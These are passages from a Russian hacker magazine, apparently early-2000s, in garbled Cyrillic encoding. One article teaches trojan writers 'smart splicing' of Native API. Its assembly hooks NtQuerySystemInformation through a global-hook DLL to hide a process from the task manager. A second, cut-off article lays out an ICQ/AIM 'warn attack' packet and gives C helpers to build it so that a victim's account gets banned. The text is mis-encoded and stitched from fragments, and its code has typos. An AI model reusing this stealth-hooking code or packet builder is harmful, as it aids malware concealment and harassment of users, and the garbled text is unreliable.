ïîëüçîâàòü àêòèâíûå òåõíèêè, íóæíû
ïðàâà àäìèíèñòðàòîðà. Ó òðîÿíà èõ
îáû÷íî íåò. Õîòÿ, ñ äðóãîé ñòîðîíû,
àêòèâíûå òåõíèêè ïîçâîëÿþò òðîÿíó
çàãðóçèòüñÿ âìåñòå ñ ñèñòåìîé è íå
æäàòü, êîãäà ïîëüçîâàòåëü ñäåëàåò
÷òî-òî, ÷òî çàïóñòèò òðîÿí. 

Ïàññèâíûå òåõíèêè òðåáóþò îò ïîëü-
çîâàòåëÿ âûïîëíåíèÿ êàêèõ-òî îïðå-
äåëåííûõ äåéñòâèé - òîëüêî òîãäà òðî-
ÿí ñòàðòóåò. Äî ýòîãî îí ëåæèò íà äèñ-
êå ìåðòâûì ãðóçîì. Íî äëÿ ïàññèâíûõ
òåõíèê íå íóæíû ïðàâà àäìèíèñòðàòî-
ðà, áîëåå òîãî, ïàññèâíûå òåõíèêè â
ðÿäå ñëó÷àåâ ïîçâîëÿþò ýòè ïðàâà
ïîëó÷èòü. Íàïðèìåð, ïîäìåíèòü win-
word.exe ìîæíî è ïîä ïîëüçîâàòåëåì.
À ïîòîì òèõî ëåæàòü íà âèíòå è
æäàòü, êîãäà ïðèäåò êòî-òî ñ àäìèíñ-
êèìè ïðàâàìè è ïîïðîáóåò îòêðûòü
äîêóìåíò MS Word â ñâîåì ñåàíñå ;).

Òàê ÷òî îïòèìàëüíûì ðåøåíèåì äëÿ
òðîÿíà ÿâëÿåòñÿ èñïîëüçîâàíèå è òåõ,
è äðóãèõ òåõíèê â çàâèñèìîñòè îò îáñ-
òîÿòåëüñòâ.

ÓÌÍÛÉ ÑÏËÀÉÑÈÍÃ
NATIVE API

Òåïåðü ïîãîâîðèì î ñòåëñå. ×òîáû
ñêðûòü ñâîå ïðèñóòñòâèå â ñèñòåìå,
áîëüøèíñòâî òðîÿíîâ èñïîëüçóþò ïå-
ðåõâàò API. Ìîæíî áûëî áû ïîðàññóæ-
äàòü î òðàäèöèîííûõ ñïîñîáàõ ïåðåõ-
âàòà API, íî íà ýòó òåìó óæå íàïèñàíî
ìíîãî õîðîøèõ ñòàòåé.

Êîíå÷íî, ïðèäóìàòü íîâûé ñïîñîá
ïåðåõâàòà API ó ðÿäîâîãî òðîÿíîïè-
ñàòåëÿ âðÿä ëè ïîëó÷èòñÿ. Íî íåìíî-
ãî óñîâåðøåíñòâîâàòü êàêóþ-íèáóäü
òðàäèöèîííóþ òåõíèêó âïîëíå âîç-
ìîæíî. Ïðàâäà, âûáîð îãðàíè÷åííûé.
Òðàäèöèîííûõ òåõíèê, ïî áîëüøîìó
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Õîòÿ ìîäèôèêàöèþ ðååñòðà èñïîëüçóþò
÷àùå âñåãî, äëÿ òðîÿíà ýòî íå

åäèíñòâåííàÿ âîçìîæíîñòü çàãðóçèòüñÿ.

Òàê ÷òî îïòèìàëüíûì ðåøåíèåì äëÿ òðîÿíà
ÿâëÿåòñÿ èñïîëüçîâàíèå è òåõ, è äðóãèõ
òåõíèê â çàâèñèìîñòè îò îáñòîÿòåëüñòâ.
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Î òîì, êà-
êèå Native
API ñòîèò
ïåðåõâàòû-
âàòü, ðàñ-
ñêàçàíî â
ñòàòüå "Êàê
ñòàòü íåâè-
äèìûì â
Windows
NT", ðóñ-
ñêèé ïåðå-
âîä êîòîðîé
åñòü íà
www.wasm.ru.

Â ñòàòüå
"Ñèñòåìà
ïåðåõâàòà
ôóíêöèé
API ïëàò-
ôîðìû
Win32" (íà
www.wasm.ru)
îòðàæåíû
ïðîáëåìû, ñ
êîòîðûìè
òðîÿí ñòàë-
êèâàåòñÿ
ïðè ïîïûò-
êå ïåðåõâà-
òèòü ñèñ-
òåìíûå
ôóíêöèè. 

Òàêîé òðîÿí ñ ïîìîùüþ regedit ïîéìàåò
ëþáîé

Íåäîñòóïíûé êëþ÷ â ðååñòðå

Êëàññ ïàïêè "Ìîè äîêóìåíòû"

; Íà÷àëî Native API
B8XXXXXXXX    mov eax, XXXXXXXX ; â eax - íîìåð ñèñòåìíîãî ñåðâèñà
8D542404  lea edx, dword ptr [esp+04] ; â edx - óêàçàòåëü íà ñòåê ñ ïàðàìåòðàìè
CD2E          int 2E ; âûçûâàåì ñèñòåìíûé ñåðâèñ
C21000       ret YYYY ; î÷èùàåì ñòåê
; Êîíåö Native API



Ìíîãî ïî-
ëåçíîé èí-
ôîðìàöèè
òû íàéäåøü
íà
www.wasm.r
u è
www.sysin-
ternals.com.

ñ÷åòó, âñåãî äâå: ñïëàéñèíã è ìîäè-
ôèêàöèÿ èìïîðòà. Ìîäèôèêàöèÿ èì-
ïîðòà - ýòî äîâîëüíî íàäåæíî, íî ïðè
ðåàëèçàöèè ïðèõîäèòñÿ ó÷èòûâàòü
ìíîãèå íþàíñû. Ïîýòîìó êîä îáû÷íî
ïîëó÷àåòñÿ ñëèøêîì áîëüøèì è
ñëîæíûì :(. Ñïëàéñèíã - áîëåå ïðîñ-
òàÿ òåõíèêà. Â òî æå âðåìÿ, îíà ñ÷èòà-
åòñÿ ìåíåå íàäåæíîé. 

Îáû÷íî ñïëàéñèíã ðåàëèçóåòñÿ òàê:
1. Â àäðåñíîå ïðîñòðàíñòâî ÷óæîãî

ïðîöåññà òåì èëè èíûì ñïîñîáîì
âíåäðÿåòñÿ êîä, è åìó ïåðåäàåòñÿ óï-
ðàâëåíèå. 
2. Ïîëó÷èâ óïðàâëåíèå, âíåäðåí-

íûé êîä íàõîäèò àäðåñ ïåðåõâàòûâàå-
ìîé API-ôóíêöèè è ìåíÿåò ïåðâûå
ïÿòü áàéò íà èíñòðóêöèþ jmp XXX, ãäå
âìåñòî XXX ñòîèò àäðåñ íîâîãî îáðà-
áîò÷èêà, êîòîðûé íàõîäèòñÿ â òîì æå
âíåäðåííîì êîäå. Îðèãèíàëüíîå íà÷à-
ëî ôóíêöèè (ïåðåïèñûâàåìûå ïÿòü
áàéò) ïðè ýòîì ñîõðàíÿþòñÿ äëÿ èñ-
ïîëüçîâàíèÿ â äàëüíåéøåì. Íà àä-
ðåñíûå ïðîñòðàíñòâà äðóãèõ ïðîöåñ-
ñîâ âñå ýòè ìàíèïóëÿöèè íå âëèÿþò.

Òåïåðü, åñëè ïðîöåññ âûçîâåò èçìå-
íåííóþ API, ñïåðâà âûïîëíèòñÿ jmp
XXX è óïðàâëåíèå ïîëó÷èò âíåäðåí-
íûé îáðàáîò÷èê.

Ïðàâäà, òóò âîçíèêàåò îäíà ïðîáëå-
ìà. Â áîëüøèíñòâå ñëó÷àåâ îáðàáîò-

÷èêó, ïåðåä òåì êàê âåðíóòü óïðàâëå-
íèå ïðîöåññó, íóæíî ñàìîìó âûçâàòü
ýòó æå API - íàïðèìåð, ÷òîáû ïðîàíà-
ëèçèðîâàòü è ïîäïðàâèòü ðåçóëüòàò
åå âûïîëíåíèÿ. Ïîýòîìó êàæäûé ðàç
ïåðåä òåì, êàê âûçûâàòü ïåðåõâàòû-
âàåìóþ API, îáðàáîò÷èê âûíóæäåí
âîññòàíàâëèâàòü â íåé ïåðâûå ïÿòü
áàéò. Åñòåñòâåííî, ñðàçó ïîñëå âûçî-
âà îáðàáîò÷èê îïÿòü âïèñûâàåò â íà-
÷àëî API jmp XXX. È òàê âñå âðåìÿ :).

Âñå áû õîðîøî, íî Windows - ñèñòå-
ìà ìíîãîçàäà÷íàÿ. Ïîòîêè ïî î÷åðåäè
òî çàïóñêàþòñÿ, òî ïðèîñòàíàâëèâàþò-
ñÿ. Ãäå ãàðàíòèÿ, ÷òî ñèñòåìà íå îñòà-
íîâèò ïîòîê îáðàáîò÷èêà êàê ðàç â òîò
ìîìåíò, êîãäà îí âîññòàíîâèë íà÷àëî
API? È íå çàïóñòèò äðóãîé ïîòîê, êîòî-
ðûé âûçîâåò ýòó æå API? Òîãäà âûçîâ
ïðîéäåò ìèìî îáðàáîò÷èêà è íàø ïðî-
öåññ (èëè êëþ÷ ðååñòðà, èëè ÷òî-ëèáî
åùå, ñêðûâàåìîå ñ ïîìîùüþ ñïëàé-
ñèíãà) èç íåâèäèìîãî ïðåâðàòèòñÿ â
âèäèìûé :(. À ýòî íå åñòü ãóä.

Èç-çà ýòîãî íåïðèÿòíîãî ìîìåíòà
ñïëàéñèíã èñïîëüçóþò ñ íåêîòîðîé
îïàñêîé. Íî ïîïðîáóåì èçìåíèòü ïî-
ëîæåíèå äåë. Èçâåñòíî, ÷òî ìíîãèå
"íîðìàëüíûå" äîêóìåíòèðîâàííûå
API ÿâëÿþòñÿ íàäñòðîéêàìè íàä
Native API áèáëèîòåêè ntdll.dll. Ïîýòî-
ìó äëÿ íàøèõ öåëåé äîñòàòî÷íî íàó-
÷èòüñÿ ïåðåõâàòûâàòü íåêîòîðûå èç
Native API. Äèçàññåìáëèðîâàâ ntdll.dll
è èçó÷èâ êîä íåñêîëüêèõ Native API,
ìû âèäèì, ÷òî âñå îíè èìåþò îäèíàêî-
âóþ ñòðóêòóðó (ñì. ëèñòèíã).

Âìåñòî XXXXXXXX ñòîèò äâîéíîå
ñëîâî - íîìåð ñèñòåìíîãî ñåðâèñà.
Åñòåñòâåííî, ó êàæäîé Native API îí
ñâîé. Êðîìå òîãî, íîìåðà îäíîé è òîé
æå ôóíêöèè ìîãóò îòëè÷àòüñÿ â ðàç-
íûõ áèëäàõ è ñåðâèñïàêàõ Windows
(íå ãîâîðÿ óæå î ðàçíûõ âåðñèÿõ).
Êàê è îáû÷íûì API, ïàðàìåòðû Native
API ïåðåäàþòñÿ â ñòåêå. Èñõîäÿ èç
ýòîãî, ëåãêî äîãàäàòüñÿ, ÷òî YYYY - èõ
îáùèé ðàçìåð.

Èòàê, â ïëàíå êîäà âñå Native API íà
îäíî ëèöî. Òîãäà îðãàíèçóåì ñïëàé-
ñèíã íåñêîëüêî íåòðàäèöèîííî:
1. Â àäðåñíîå ïðîñòðàíñòâî ÷óæîãî

ïðîöåññà âíåäðÿåòñÿ êîä (íàïðèìåð, ñ
ïîìîùüþ óñòàíîâêè ãëîáàëüíîãî õóêà).
2. Ïîëó÷èâ óïðàâëåíèå, êîä íàõîäèò

àäðåñ ïåðåõâàòûâàåìîé Native API è
ïðîâåðÿåò ïåðâûé áàéò ïî ýòîìó àä-
ðåñó. Òàì äîëæåí áûòü 0xB8 - îïêîä
èíñòðóêöèè mov.
3. Âíåäðåííûé êîä ÷èòàåò íîìåð

ñèñòåìíîãî ñåðâèñà è â ñâîåì òåëå
ôîðìèðóåò ïåðåõîäíèê âèäà:

; Êîä ïåðåõîäíèêà
mov eax, XXXXXXXXX
push next_instr
ret

next_instr - àäðåñ âòîðîé èíñòðóêöèè
ïåðåõâàòûâàåìîé ôóíêöèè (ýòî lea
edx, [esp+04]).
4. Â ïåðâûå ïÿòü áàéò ïåðåõâàòûâà-

åìîé ôóíêöèè âïèñûâàåòñÿ jmp íà îá-
ðàáîò÷èê.

Òåïåðü, åñëè ïðîöåññ âûçîâåò ïå-
ðåõâà÷åííóþ Native API, óïðàâëåíèå
ñðàçó ïîïàäåò íà îáðàáîò÷èê. Êîãäà
îáðàáîò÷èêó ïîíàäîáèòñÿ âûçâàòü òó
æå Native API, îí íå áóäåò âîññòàíàâ-
ëèâàòü ïåðâûå ïÿòü áàéò, à ïðîñòî
ñäåëàåò call íà ïåðåõîäíèê. Íàçîâåì
òàêóþ òåõíèêó óìíûì ñïëàéñèíãîì.

ÍÀ ÏÐÀÊÒÈÊÅ
Äàâàé ÷òî-íèáóäü íàïèøåì. Íàï-

ðèìåð, ïîïðîáóåì ñêðûòüñÿ îò ìåíåä-
æåðà ïðîöåññîâ, ïåðåõâàòûâàÿ
NtQuerySystemInformation. Íàø ïå-
ðåõâàò÷èê áóäåò ñîñòîÿòü èç äâóõ ìî-
äóëåé: èíñòàëëÿòîðà installer.exe è
áèáëèîòåêè injectDLL.dll, â êîòîðîé ñî-
äåðæèòñÿ âíåäðÿåìûé êîä.

Èíñòàëëÿòîð - ïðîñòåíüêàÿ ïðîãðàì-
ìêà, êîòîðàÿ çàãðóæàåò DLL è âûçûâàåò
èç íåå ôóíêöèþ InstallHook. Åñëè âñå
ïðîøëî óñïåøíî - ôóíêöèÿ InstallHook
âîçâðàòèëà íåíóëåâîå çíà÷åíèå, èíñ-
òàëëÿòîð âûâîäèò message box ñ ñîîá-
ùåíèåì îá óñïåøíîì ïåðåõâàòå. 

Áèáëèîòåêà óñòðîåíà ïîñëîæíåå.
Ôóíêöèÿ InstallHook ñ ïîìîùüþ API
SetWindowsHookEx óñòàíàâëèâàåò
ãëîáàëüíûé õóê íà âûçîâ ïðîöåäó-
ðû îêíà (WH_CALLWNDPROC). Ïðî-
öåäóðà õóêà HookProc íå äåëàåò íè-
÷åãî ïîëåçíîãî, ïðîñòî ïåðåäàåò
âûçîâ äàëüøå ïî öåïî÷êå.

Â òî÷êå âõîäà DLL âïèøåì òàêîé êîä:

_start: ; òî÷êà âõîäà
; ïðè÷èíà âûçîâà - çàãðóçêà
; â íîâûé ïðîöåññ
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Ïîäðîáíåå ñ
ïîëÿìè
SYSTEM_PR
OCESS_INF
ORMATION
ìîæíî îç-
íàêîìèòüñÿ
â ñòàòüÿõ
ïî íåäîêó-
ìåíòèðî-
âàííûì
ôóíêöèÿì
NT (Ãóãë â
ïîìîùü!).

Ïåðåõâàò-
÷èê ñ èñ-
õîäíèêàìè
íà MASM
åñòü íà
äèñêå ê
æóðíàëó.

ÈÃÐÀ Â ÏÐßÒÊÈ48 RAT

Ïðîöåññ âûçûâàåò ñïëàéñíóòóþ API

Òðîÿíñêèé îáðàáîò÷èê âîññòàíîâèë íà-
÷àëî API è âûçûâàåò ñàì Óìíûé ñïëàéñèíã

Ñïëàéñèíã ïðîøåë óñïåøíî - ïðîöåññ
ñêðûò

Ìîäèôèêàöèÿ èìïîðòà - ýòî äîâîëüíî
íàäåæíî, íî ïðè ðåàëèçàöèè ïðèõîäèòñÿ

ó÷èòûâàòü ìíîãèå íþàíñû.



mov eax, [[esp+8]
cmp eax, DDLL_PROCESS_ATTACH
je h_8 ; äà
; ... ... ...

h_8: ; ïåðâàÿ ëè ýòî çàãðóçêà DLL 
; (åñëè äà, òî hInst=0) 
cmp hInst, 00
jne SpliceAPI ; íåò - 

; ñïëàéñèðîâàòü API!
; åñëè óïðàâëåíèå ïîïàëî ñþäà,
; DLL çàãðóæåíà âïåðâûå
; çàïîìíèì hInst
mov eax, [[esp+4]
mov hInst, eeax

h_1: ; âûõîä
mov eax, 11
ret 12

DLL ïðè ïåðâîé çàãðóçêå ïîëó÷àåò ñî-
îáùåíèå DLL_PROCESS_ATTACH, çàïè-
ñûâàåò ñâîé HINST â shared-ñåêöèþ
.data. Êàæäûé ðàç, ïîëó÷àÿ
DLL_PROCESS_ATTACH, DLL ïðîâåðÿåò,
çàïèñàí ëè óæå HINST â .data. Åñëè äà,
çíà÷èò, DLL çàãðóæàåòñÿ íå âïåðâûå -
õóê óæå ïîñòàâëåí è DLL ïîïàëà â ÷ó-
æîå àäðåñíîå ïðîñòðàíñòâî. Î÷óòèâ-
øèñü â ÷óæîì àäðåñíîì ïðîñòðàíñòâå,
êîä èíèöèàëèçàöèè DLL âûçûâàåò
ôóíêöèþ ñïëàéñèíãà SpliceAPI. Ôóíê-
öèÿ óçíàåò HINST ntdll.dll, àäðåñ
NtQuerySystemInformation. Çàòåì ôóíê-
öèÿ ïðîâåðÿåò ïåðâûé áàéò
NtQuerySystemInformation. Åñëè áàéò
ïðàâèëüíûé, ïîäãîòàâëèâàåòñÿ ïåðå-
õîäíèê. Îí íàõîäèòñÿ â ñåêöèè äàííûõ:

NtQSI_thunk db 00b8h, 00, 00, 00, 00, \
; ^- ýòî mov  eax, xxxx

068h, 00, 00, 00, 00, \
; ^- ýòî push xxxx

0c3h
; ^- ýòî ret

Ïîäãîòîâêó îñóùåñòâëÿåò ñëåäóþ-
ùèé êîä:

mov ebx, ddword pptr [[eax+1]
; ñòðîêà íèæå - ýòî mov eax, service_nmbr
mov dword pptr [[NtQSI_thunk+1], eebx

mov ebx, eeax ; âû÷èñëÿåì àäðåñ
; âòîðîé èíñòðóêöèè NtQSI

add ebx, 55
; ñòðîêà íèæå - ýòî push addr NtQSI
mov dword pptr [[NtQSI_thunk+6], eebx

Çàòåì îñóùåñòâëÿåòñÿ çàìåíà ïåð-
âûõ ïÿòè áàéò
NtQuerySystemInformation. Äåëàåòñÿ
ýòî ñòàíäàðòíûì ñïîñîáîì. Äëÿ ñíÿ-
òèÿ çàùèòû ñ ïåðâûõ ïÿòè áàéò ïåðåõ-
âàòûâàåìîé ôóíêöèè èñïîëüçóåòñÿ
VirtualProtect. Âìåñòî íèõ çàïèñûâàåò-
ñÿ jmp íà îáðàáîò÷èê - ôóíêöèþ
api_hook_proc:

; âû÷èñëèì ñìåùåíèå äëÿ jmp
mov ebx, ooffset aapi_hook_proc
sub ebx, eeax
sub ebx, 55
; ïðîïàò÷èì API
mov byte pptr [[eax], 00e9h
mov dword pptr [[eax+1], eebx

Çàùèòà âîññòàíàâëèâàåòñÿ âñå òîé
æå VirtualProtect. Òåïåðü ïðè âûçî-
âå ïðîöåññîì
NtQuerySystemInformation óïðàâëå-
íèå ïîëó÷àåò íàø îáðàáîò÷èê. Îáðà-
áîò÷èê ñïåðâà âûçûâàåò îðèãèíàëü-
íóþ ïðîöåäóðó (â ëþáîì ñëó÷àå ýòî
íóæíî). Ïðè ýòîì îí íå âîññòàíàâëè-
âàåò åå íà÷àëî, à ïðîñòî äåëàåò call
íà ïåðåõîäíèê. Ïîòîì îáðàáîò÷èê
ïðîâåðÿåò àðãóìåíò SysInfoClass. Åñ-
ëè îí íå ðàâåí 5, òî
NtQuerySystemInformation áûëà
âûçâàíà íå äëÿ òîãî, ÷òîáû ïîëó-
÷èòü ñïèñîê ïðîöåññîâ. Â ýòîì ñëó-
÷àå óïðàâëåíèå ïðîñòî îòäàåòñÿ âû-

çûâàþùåìó ïðîöåññó. Åñëè æå
SysInfoClass èìååò çíà÷åíèå 5, îáðà-
áîò÷èê ïðîõîäèòñÿ ïî öåïî÷êå
ñòðóêòóð SYSTEM_PROCESS_INFOR-
MATION, êîòîðûå ïîñëå âîçâðàòà èç
NtQuerySystemInformation ëåæàò ïî
àäðåñó SysInformation.

Â êàæäîì ýëåìåíòå öåïî÷êè îáðà-
áîò÷èê ïðîâåðÿåò èìÿ ïðîöåññà. Åñ-
ëè îíî ñîâïàäàåò ñ installer.exe,
ïðåäûäóùèé ýëåìåíò êîððåêòèðóåò-
ñÿ. Öåëü êîððåêòèâû - óâåëè÷èòü
ïîëå ñìåùåíèÿ (ïåðâîå â çàïèñè)
íà ñëåäóþùèé ýëåìåíò öåïî÷êè,
÷òîáû îíî óêàçûâàëî íà ñòðóêòóðó,
èäóùóþ çà òîé, êîòîðàÿ ñîäåðæèò
èíôîðìàöèþ î íàøåì ïðîöåññå. Òà-
êèì îáðàçîì, ñòðóêòóðà, ñîäåðæà-
ùàÿ èíôîðìàöèþ î íàøåì ïðîöåñ-
ñå, àêêóðàòíî èñêëþ÷àåòñÿ îáðàáîò-
÷èêîì èç öåïî÷êè.

Áèáëèîòåêà òàêæå îáðàáàòûâàåò
DLL_PROCESS_DETACH è ïðè îòã-
ðóçêå èç àäðåñíîãî ïðîñòðàíñòâà
ïðîöåññà ñíèìàåò õóê. Áîëüøîå
ïðåèìóùåñòâî òåõíèêè óìíîãî
ñïëàéñèíãà â òîì, ÷òî îíà â îòëè÷èå
îò òðàäèöèîííîãî ñïëàéñèíãà íà-
äåæíà. È âíåäðåíèå DLL ÷åðåç ãëî-
áàëüíûé õóê íå òðåáóåò ïðàâ àäìè-
íèñòðàòîðà, òàê ÷òî ïåðåõâàòèòü ïà-
ðî÷êó-äðóãóþ API òðîÿí ñïîêîéíî
ìîæåò è ïîä ãîñòåì.

Íàïîñëåäîê ñêàæó, ÷òî óìíûé ñïëàé-
ñèíã ìîæíî óñîâåðøåíñòâîâàòü, åñëè
ïðèêðóòèòü ê ïåðåõâàò÷èêó API íå-
áîëüøîé äèçàññåìáëåð. E
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Óìíûé ñïëàéñèíã ìîæíî
óñîâåðøåíñòâîâàòü, åñëè ïðèêðóòèòü ê

ïåðåõâàò÷èêó API íåáîëüøîé
äèçàññåìáëåð.



Ðîìàí Êóáåðîâ aka q_ber (tehnomagix@mail.ru)

I CQ, èëè àñüêà, IM (instant messenger/èíòåðíåò-ïåéäæåð), îò êîìïàíèè Mirabilis - íà ñåãîäíÿ, äîëæíî áûòü, ñàìàÿ
ïîïóëÿðíàÿ ïðîãðàììà äëÿ ìãíîâåííîãî îáìåíà ñîîáùåíèÿìè. Ïîëüçîâàòåëåé ýòîé ïðîãðàììû ìèëëèîíû ïî âñåìó

ìèðó. Ïîýòîìó íåóäèâèòåëüíî, ÷òî ìíîãèå «íàðîäíûå óìåëüöû» èñïîëüçóþò âîçìîæíîñòè òåòè Àñè â ñâîèõ ãðÿçíûõ
öåëÿõ.

ÈÇÂÐÀÙÅÍÈß 
Ñ ÒÅÒÅÉ ÀÑÅÉ
WARN-ÀÒÀÊÀ, ICQ-×ÅÐÂÈ È ÍÅÑÀÍÊÖÈÎÍÈÐÎÂÀÍÍÛÅ ÄÅÉÑÒÂÈß

ÀÒÀÊÀ ÍÀ ICQ
×ÅÐÅÇ AIM

AIM (AOL Instant
Messenger) è ICQ ðà-
áîòàþò ïî îäíîìó

ïðîòîêîëó OSCAR (áîëåå òîãî, ÷å-
ðåç îäíè è òå æå ñåðâåðû - ïðèì.
AvaLANche'à). Ýòî, â ÷àñòíîñòè, äàåò
âîçìîæíîñòü «ñèäåòü» â AIM, èñïîëü-
çóÿ ñâîé UIN â ICQ. Â ñåòè AIM åñòü òà-
êîå ïîíÿòèå, êàê warning-level,
êîòîðîå îçíà÷àåò, ÷òî ëþáîé ïîëüçî-
âàòåëü AIM ìîæåò âûíåñòè ïðåäóï-
ðåæäåíèå äðóãîìó, åñëè òîò íåêîð-
ðåêòíî îáùàåòñÿ, ðàññêàçûâàåò áîðî-
äàòûå àíåêäîòû ïðî ×àïàåâà è îòâàæ-
íîãî ÷óê÷ó-îëåíåâîäà è çàíèìàåòñÿ
ïðî÷èìè àñîöèàëüíûìè âåùàìè :). Åñ-
ëè òàêîé òîâàðèù óõèòðèòñÿ äîñòàòü
ñâîèì èñêðîìåòíûì þìîðîì òðîèõ
ïîëüçîâàòåëåé, òî åãî SN (screen
name, àíàëîã UIN�à â àñüêå) çàáàíÿò
íà ñðîê îò 3 äî 5 ÷àñîâ. Ïðîèñõîäèò
ýòî ïðèáëèçèòåëüíî òàê: îò òðåõ ïîëü-
çîâàòåëåé ñåðâåðó îòñûëàåòñÿ ïàêåò
ñëåäóþùåãî ñîäåðæàíèÿ: (êëèåíò XXX
ñåðâåðó ò÷ê êëèåíòó YYY âàðíèíã-ëå-
âåë ïîäíÿòü çïò öåëóþ çïò âàø êëè-
åíò XXX ò÷ê). Êàê ìû óæå ãîâîðèëè
÷óòü âûøå, ICQ è AIM ðàáîòàþò ïî îä-
íîìó ïðîòîêîëó. Íî çíà÷èò ëè ýòî, ÷òî
ïîäîáíûé ôèíò óøàìè ìîæíî ïðîâåð-
íóòü è ñ àñüêîé? Îêàçûâàåòñÿ, äà. Â
ïðèíöèïå, äàííóþ àòàêó (íàçûâàåìóþ
âàðí-àòàêîé) ìîæíî ñ÷èòàòü ðàçíî-
âèäíîñòüþ ôëóäà (â îòëè÷èå îò íåå
ïðè ôëóäå íà UIN æåðòâû ïðîñòî ïðè-
õîäÿò ìèëëèîíû ñîîáùåíèé, çäåñü æå
êîëè÷åñòâî ó÷àñòíèêîâ íàìíîãî ìåíü-
øå). Àòàêà ýòà, ïî ñóòè, äîâîëüíî
ãðîçíàÿ âåùü, ïîòîìó ÷òî ïîñòîÿííûé
áàí UIN'à ïîññîðèâøåãîñÿ ñ õàêåðîì

þçåðà íå ïðåäâåùàåò íè÷åãî õîðîøå-
ãî: íåñìîòðÿ íà òî ÷òî UIN åãî íèêòî
íå óãîíÿåò, âîñïîëüçîâàòüñÿ îí èì òî-
æå íå ñìîæåò.

ÍÅÌÍÎÃÎ ÒÅÎÐÈÈ
Ïàêåò â ICQ/AIM íàçûâàåòñÿ FLAP.

FLAP ñîäåðæèò â ñåáå SNAC-ïàêåò, êî-
òîðûé, â ñâîþ î÷åðåäü, ñîäåðæèò
TLV�ïàêåò (îáðàçóÿ ñâîåîáðàçíóþ
«ìàòðåøêó»).

SNAC íåñåò â ñåáå 2 çíà÷åíèÿ: ìà-
æîð è ìèíîð. Ìàæîð îïðåäåëÿåò ñå-
ìåéñòâî ïàêåòîâ, à ìèíîð - êîíêðåò-
íûé ïàêåò èç ýòîãî ñåìåéñòâà. Ïî ìà-
æîðó è ìèíîðó ñåðâåð è êëèåíò ïðîèç-
âîäÿò ðàçáîð òåõ èëè èíûõ ïàêåòîâ è
ïðèìåíÿþò ê íèì îïðåäåëåííûå
èíñòðóêöèè. 

TLV - ýòî ïðîèçâîëüíûå äàííûå ïå-
ðåìåííîé äëèíû: óèí, ïàðîëü, òåêñò è
ò.ä. Îáû÷íî îíè ÿâëÿþòñÿ ÷àñòüþ
SNAC�îâ, íî â íåêîòîðûõ ñëó÷àÿõ ìî-
ãóò ñóùåñòâîâàòü è áåç íèõ, íàïðèìåð,
ïàêåò «login».

Îñíîâíîé ïðèíöèï ðàáîòû ICQ/AIM-
ïðîòîêîëîâ - ýòî, êàê íåòðóäíî äîãà-
äàòüñÿ, ïåðåäà÷à è ïðèåì FLAP-ïàêå-
òîâ ìåæäó ñåðâåðíîé è êëèåíòñêîé
÷àñòÿìè. Òû ñêàæåøü, ÷òî ðàáîòà ïðî-
òîêîëà çàêëþ÷àåòñÿ â ïåðåäà÷å è ïðè-
åìå SNAC-ïàêåòîâ. Íî ýòî íå ñîâñåì
âåðíîå óòâåðæäåíèå, òàê êàê FLAP-ïà-
êåò èíêàïñóëèðóåò ïåðâûì. 

Ìèíèìàëüíóþ òåîðèþ ìû, ìîæíî
ñ÷èòàòü, îñâîèëè, ïîýòîìó íàñòàëî
âðåìÿ ïåðåéòè ê ïðåäìåòó íàøåé ñå-
ãîäíÿøíåé äèñêóññèè. Íà÷íåì ìû ñî
ñòðóêòóðû ïàêåòà, îòâå÷àþùåãî çà
âàðí-àòàêó.  Âîò åå ñõåìà:

SNAC(04,08) CLI_ICBM_SENDxWARNING 
SNAC FORMAT

00 04 word SNAC fami-
ly (ò.í. ìàæîð)

00 08 word SNAC sub-
type (ìèíîð)

�
xx xx xx xx dword SNAC

request-id, ìîæåò áûòü ñëó÷àéíûì ÷èñëîì
xx xx word "send as"

flag: 1-anonymous, 0-non-anonymous
xx byte screen-

name string length (äëèíà óèíà)
xx .. string screen-

name string (ñàì óèí)

Òåïåðü â òåëåãðàôíîì ñòèëå ðàñ-
ñìîòðèì íåñêîëüêî âñïîìîãàòåëüíûõ
ôóíêöèé, êîòîðûå íàì ïîíàäîáÿòñÿ
äëÿ ôîðìèðîâàíèÿ OSCAR-ïàêåòà (â
äàííîì ïðèìåðå ìû ðàññìîòðèì òîëü-
êî ïðîöåññ ñîçäàíèÿ âàðí-ïàêåòà, ïî
àíàëîãèè äîñòàòî÷íî ïðîñòî ñôîðìè-
ðîâàòü è äðóãèå OSCAR-ïàêåòû). Ñïè-
ñîê ôóíêöèé áóäåò èìåòü âèä «îáúÿñ-
íåíèå: ôóíêöèÿ».

1. Ôóíêöèÿ äëÿ ïîìåùåíèÿ â áó-
ôåð äàííûõ â îäèí áàéò èëè 8 áèò:

#define writeb(buf, value)(*(buf) = (value),
(buf++))

2. Ôóíêöèÿ äëÿ ïîìåùåíèÿ â áó-
ôåð äàííûõ â äâà áàéòà èëè 16 áèò.

Íå çàáûâàåì, ÷òî ñóùåñòâóåò ñåòå-
âîé ïîðÿäîê ñëåäîâàíèÿ áàéò, ïîýòî-
ìó çäåñü ìû ïðèìåíÿåì ôóíêöèþ
htons äëÿ äâóõáàéòîâûõ çíà÷åíèé:

static char *writew(char *buf, u_int16_t
value)

{
*((u_int16_t *) buf)++ =

htons(value);
return buf;

}

3. Ôóíêöèÿ äëÿ ïîìåùåíèÿ â áó-
ôåð äàííûõ â 4 áàéòà èëè 32 áèò.

Çäåñü ïðîèñõîäèò àíàëîãè÷íûé ïðî-
öåññ, ÷òî è äëÿ ôóíêöèè âûøå, íî ìû
ïðèìåíÿåì ôóíêöèþ htonl äëÿ 4-áàéò-
íûõ çíà÷åíèé:
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Â èíòåðíåòå
åñòü áîëü-
øîå êîëè-
÷åñòâî ïîë-
íûõ îïèñà-
íèé ïðîòî-
êîëà ICQ.
Âîò îäíî èç
íèõ:
www.icqifo.r
u/protocol_v
8.shtml.

www.iseeky-
ou.ru - ñàéò
äëÿ ICQ�ìà-
íîâ.



icq2000cc.ho
bi.ru -
ICQ2000:
ñäåëàé ñàì :).

static char *writel(char *buf, u_int32_t
value)

{
*((u_int32_t *)buff)++ =

htonl(value);
return buf;

}

4. Ôóíêöèÿ äëÿ ïîìåùåíèÿ â áó-
ôåð çíà÷åíèé ïðîèçâîëüíîé äëèíû,
íàïðèìåð, òåêñò ñîîáùåíèé, UIN,
ïàðîëü è ò.ä.:

static char *writes(char *buf, const char
*data, int len)

{
memcpy(buf, data, len);
return buf+len;

}

FLAP-ïàêåò èìååò çàãîëîâîê ñ ôèê-
ñèðîâàííîé äëèíîé, ðàâíîé 6 áàéòàì,
è ñëåäóþùèé çà íèì áëîê äàííûõ (ïå-
ðåìåííîé äëèíû). �\x2A� (Command
Start) ïîçâîëÿåò ñåðâèñó îòëè÷àòü ïà-
êåò ICQ îò äðóãèõ ïàêåòîâ (íà÷àëî ïà-
